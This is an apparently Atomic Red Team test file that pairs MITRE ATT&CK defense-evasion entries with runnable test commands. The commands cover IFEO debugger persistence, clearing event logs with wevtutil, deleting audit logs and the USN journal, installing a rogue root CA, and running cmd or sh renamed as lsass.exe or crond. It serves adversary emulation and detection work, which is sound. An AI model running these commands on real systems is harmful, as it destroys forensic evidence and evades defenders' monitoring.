- description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
source_name: Oddvar Moe IFEO APR 2018
url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
- description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
source_name: Endgame Process Injection July 2017
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
x_mitre_defense_bypassed:
- Autoruns Analysis
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: winword.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO Global Flags
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: notepad.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1070:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- API monitoring
- Windows event logs
type: attack-pattern
name: Indicator Removal on Host
description: "Adversaries may delete or alter generated artifacts on a host
system, including logs and potentially captured files such as quarantined
malware. Locations and format of logs will vary, but typical organic system
logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139)
and /var/log/* .\n\nActions that interfere with eventing and other notifications
that can be used to detect intrusion activity may compromise the integrity
of security solutions, causing events to go unreported. They may also make
forensic analysis and incident response more difficult due to lack of sufficient
data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows
event logs are a record of a computer's alerts and notifications. Microsoft
defines an event as \"any significant occurrence in the system or in a program
that requires users to be notified or an entry added to a log.\" There are
three system-defined sources of Events: System, Application, and Security.\n
\nAdversaries performing actions related to account management, account logon
and directory service access, etc. may choose to clear the events in order
to hide their activities.\n\nThe event logs can be cleared with the following
utility commands:\n\n* wevtutil cl system\n* wevtutil cl
application\n* wevtutil cl security\n\nLogs may also be
cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086)."
id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69
modified: '2019-07-18T15:02:36.652Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Clearing the Windows event logs requires Administrator permissions
x_mitre_detection: 'File system monitoring may be used to detect improper deletion
or modification of indicator files. For example, deleting Windows event logs
(via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions
(Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086)
(Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event
ID 1102: "The audit log was cleared"). Events not stored on the file system
may require different detection mechanisms.'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ed Williams, Trustwave, SpiderLabs
created: '2017-05-31T21:30:55.892Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1070
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1070
- source_name: capec
external_id: CAPEC-93
url: https://capec.mitre.org/data/definitions/93.html
- source_name: Microsoft wevtutil Oct 2017
description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July
2, 2018.
url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
- source_name: Microsoft EventLog.Clear
description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2,
2018.
url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
- source_name: Microsoft Clear-EventLog
description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.
url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
x_mitre_defense_bypassed:
- Log analysis
- Host intrusion prevention systems
- Anti-virus
identifier: T1070
atomic_tests:
- name: Clear Logs
description: 'Clear Windows Event Logs
'
supported_platforms:
- windows
input_arguments:
log_name:
description: Windows Log Name, ex System
type: String
default: System
executor:
name: command_prompt
elevation_required: true
command: 'wevtutil cl #{log_name}
'
- name: FSUtil
description: 'Manages the update sequence number (USN) change journal, which
provides a persistent log of all changes made to files on the volume.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'fsutil usn deletejournal /D C:
'
- name: rm -rf
description: 'Delete system and audit logs
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
rm -rf /private/var/log/system.log*
rm -rf /private/var/audit/*
- name: Overwrite Linux Mail Spool
description: 'This test overwrites the Linux mail spool of a specified user.
This technique was used by threat actor Rocke during the exploitation of Linux
web servers.
'
supported_platforms:
- linux
input_arguments:
username:
description: Username of mail spool
type: String
default: root
executor:
name: bash
command: 'echo 0> /var/spool/mail/#{username}
'
- name: Overwrite Linux Log
description: 'This test overwrites the specified log. This technique was used
by threat actor Rocke during the exploitation of Linux web servers.
'
supported_platforms:
- linux
input_arguments:
log_path:
description: Path of specified log
type: Path
default: "/var/log/secure"
executor:
name: bash
command: 'echo 0> #{log_path}'
T1202:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
x_mitre_permissions_required:
- User
name: Indirect Command Execution
description: |-
Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e
modified: '2019-04-24T18:28:19.845Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms,
such as Sysmon, for events such as process creations that include or are resulting
from parameters associated with invoking programs/commands/files and/or spawning
child processes/network connections. (Citation: RSA Forfiles Aug 2017)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Matthew Demaske, Adaptforward
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1202
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1202
- source_name: VectorSec ForFiles Aug 2017
description: vector_sec. (2017, August 11). Defenders watching launches of
cmd? What about forfiles?. Retrieved January 22, 2018.
url: https://twitter.com/vector_sec/status/896049052642533376
- source_name: Evi1cg Forfiles Nov 2017
description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved
January 22, 2018.
url: https://twitter.com/Evi1cg/status/935027922397573120
- source_name: RSA Forfiles Aug 2017
description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe
(if you are watching for cmd.exe). Retrieved January 22, 2018.
url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
x_mitre_defense_bypassed:
- Static File Analysis
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1202
atomic_tests:
- name: Indirect Command Execution - pcalua.exe
description: |
The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)
supported_platforms:
- windows
input_arguments:
process:
description: Process to execute
type: string
default: calc.exe
payload_path:
description: Path to payload
type: path
default: c:\temp\payload.dll
payload_cpl_path:
description: Path to payload
type: path
default: C:\Windows\system32\javacpl.cpl -c Java
executor:
name: command_prompt
command: |
pcalua.exe -a #{process}
pcalua.exe -a #{payload_path}
pcalua.exe -a #{payload_cpl_path}
- name: Indirect Command Execution - forfiles.exe
description: |
forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://github.com/api0cradle/LOLBAS/blob/master/OSBinaries/Forfiles.md)
"This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe"
supported_platforms:
- windows
input_arguments:
process:
description: Process to execute
type: string
default: calc.exe
executor:
name: command_prompt
command: |
forfiles /p c:\windows\system32 /m notepad.exe /c #{process}
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"
T1130:
technique:
x_mitre_data_sources:
- SSL/TLS inspection
- Digital certificate logs
x_mitre_permissions_required:
- Administrator
- User
name: Install Root Certificate
description: |-
Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1
modified: '2019-07-19T14:44:30.545Z'
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Itzik Kotler, SafeBreach
- Travis Smith, Tripwire
- Red Canary
- Matt Graeber, @mattifestation, SpecterOps
created: '2017-05-31T21:31:42.750Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1130
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1130
- source_name: capec
external_id: CAPEC-479
url: https://capec.mitre.org/data/definitions/479.html
- source_name: Wikipedia Root Certificate
description: Wikipedia. (2016, December 6). Root certificate. Retrieved February
20, 2017.
url: https://en.wikipedia.org/wiki/Root_certificate
- source_name: Operation Emmental
description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
Holes Operation Emmental. Retrieved February 9, 2016.
url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
- source_name: Kaspersky Superfish
description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on
Lenovo Laptops. Retrieved February 20, 2017.'
url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
- source_name: SpectorOps Code Signing Dec 2017
description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
Attacks and Defenses. Retrieved April 3, 2018.
url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
- source_name: objective-see ay mami 2018
description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March
19, 2018.
url: https://objective-see.com/blog/blog_0x26.html
- source_name: Microsoft Sigcheck May 2017
description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April
3, 2018.
url: https://docs.microsoft.com/sysinternals/downloads/sigcheck
- source_name: Tripwire AppUNBlocker
description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker.
Retrieved December 19, 2017.'
url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
x_mitre_defense_bypassed:
- Digital Certificate Validation
identifier: T1130
atomic_tests:
- name: Install root CA on CentOS/RHEL
description: 'Creates a root CA with openssl
'
supported_platforms:
- linux
input_arguments:
key_filename:
description: Key we create that is used to create the CA certificate
type: Path
default: rootCA.key
cert_filename:
description: Path of the CA certificate we create
type: Path
default: rootCA.crt
executor:
name: sh
command: |
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -out #{cert_filename}
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -le "5" ];
then
cat rootCA.crt >> /etc/pki/tls/certs/ca-bundle.crt
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -ge "7" ];
cp rootCA.crt /etc/pki/ca-trust/source/anchors/
update-ca-trust
fi
T1118:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: InstallUtil
description: |-
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
x_mitre_remote_support: false
id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b
modified: '2019-07-31T18:11:14.192Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior
history of known good arguments and executed binaries to determine anomalous
and potentially adversarial activity. Command arguments used before and after
the InstallUtil.exe invocation may also be useful in determining the origin
and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
- Travis Smith, Tripwire
created: '2017-05-31T21:31:27.510Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1118
url: https://attack.mitre.org/techniques/T1118
- description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
July 1, 2016.
source_name: MSDN InstallUtil
url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
- description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
source_name: LOLBAS Installutil
url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
x_mitre_defense_bypassed:
- Process whitelisting
- Digital Certificate Validation
identifier: T1118
atomic_tests:
- name: InstallUtil uninstall method call
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
filename:
description: location of the payload
type: Path
default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll
executor:
name: command_prompt
elevation_required: false
command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library
/out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs
\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile=
/LogToConsole=false /U #{filename}\n"
- name: InstallUtil GetHelp method call
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
filename:
description: location of the payload
type: Path
default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll
executor:
name: command_prompt
elevation_required: false
command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library
/out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs
\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /?
#{filename}\n"
T1152:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Launchctl
description: "Launchctl controls the macOS launchd process which handles things
like launch agents and launch daemons, but can execute other commands or programs
itself. Launchctl supports taking subcommands on the command-line, interactively,
or even redirected from standard input. By loading or reloading launch agents
or launch daemons, adversaries can install persistence or execute changes
they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl
is as simple as launchctl submit -l -- /Path/to/thing/to/execute
\"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents
or launch daemons can require elevated privileges. \n\nAdversaries can abuse
this functionality to execute code or even bypass whitelisting if launchctl
is an allowed process."
x_mitre_remote_support: false
id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Knock Knock can be used to detect persistent programs such
as those installed via launchctl as launch agents or launch daemons. Additionally,
every launch agent or launch daemon must have a corresponding plist file on
disk somewhere which can be monitored. Monitor process execution from launchctl/launchd
for unusual or unknown processes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-18T15:27:13.077Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1152
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1152
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1152
atomic_tests:
- name: Launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1036:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Binary file metadata
name: Masquerading
description: |-
Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.
A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)
### Windows
In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".
### Linux
Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)
An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)
id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0
modified: '2019-09-10T17:44:59.498Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: |-
Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)
For RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as "\u202E", "[U+202E]", and "%E2%80%AE". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oleg Kolesnikov
- Nick Carr, FireEye
- David Lu, Tripwire
- Felipe Espósito, @Pr0teus
- ENDGAME
- Bartosz Jerzman
created: '2017-05-31T21:30:38.511Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1036
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1036
- source_name: capec
external_id: CAPEC-177
url: https://capec.mitre.org/data/definitions/177.html
- source_name: FireEye APT10 Sept 2018
description: Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting
Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.
url: https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
- description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override
(RTLO) Technique. Retrieved April 22, 2019.
source_name: Infosecinstitute RTLO Technique
url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
- description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against
Taiwanese Government Agencies. Retrieved April 22, 2019.
source_name: Trend Micro PLEAD RTLO
url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
- description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram
- Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
Retrieved April 22, 2019.
source_name: Kaspersky RTLO Cyber Crime
url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/
- description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and
Signatures to Hide Binary Payloads. Retrieved September 10, 2019.
source_name: Threatexpress MetaTwin 2017
url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
- source_name: Endgame Masquerade Ball
description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
Retrieved October 31, 2016.'
url: https://www.endgame.com/blog/how-hunt-masquerade-ball
- source_name: F-Secure CozyDuke
description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis.
Retrieved December 10, 2015.'
url: https://www.f-secure.com/documents/996508/1030745/CozyDuke
- source_name: Remaiten
description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet
Remaiten – a Linux bot on steroids targeting routers and potentially other
IoT devices. Retrieved September 7, 2017.
url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/
- source_name: Fysbis Palo Alto Analysis
description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis:
Sofacy’s Linux Backdoor. Retrieved September 10, 2017.'
url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
- source_name: Fysbis Dr Web Analysis
description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved
December 7, 2017.
url: https://vms.drweb.com/virus/?i=4276269
- description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
Retrieved April 22, 2019.
source_name: Twitter ItsReallyNick Masquerading Update
url: https://twitter.com/ItsReallyNick/status/1055321652777619457
x_mitre_defense_bypassed:
- Whitelisting by file name or path
identifier: T1036
atomic_tests:
- name: Masquerading as Windows LSASS process
description: 'Copies cmd.exe, renames it, and launches it to masquerade as an
instance of lsass.exe.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
cmd.exe /c %SystemRoot%\Temp\lsass.exe
- name: Masquerading as Linux crond process.
description: 'Copies sh process, renames it as crond, and executes it to masquerade
as the cron daemon.
'
supported_platforms:
- linux
executor:
name: sh
elevation_required: false
command: |
cp /bin/sh /tmp/crond
/tmp/crond
- name: Masquerading - cscript.exe running as notepad.exe
description: 'Copies cscript.exe, renames it, and launches it to masquerade
as an instance of notepad.exe.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
cmd.exe /c %APPDATA%\notepad.exe /B
- name: Masquerading - wscript.exe running as svchost.exe
description: 'Copies wscript.exe, renames it, and launches it to masquerade
as an instance of svchost.exe.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
cmd.exe /c %APPDATA%\svchost.exe /B
- name: Masquerading - powershell.exe running as taskhostw.exe
description: 'Copies powershell.exe, renames it, and launches it to masquerade
as an instance of taskhostw.exe.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
cmd.exe /K %APPDATA%\taskhostw.exe
T1112:
technique:
x_mitre_data_sources:
- Windows Registry
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Modify Registry
description: |-
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.
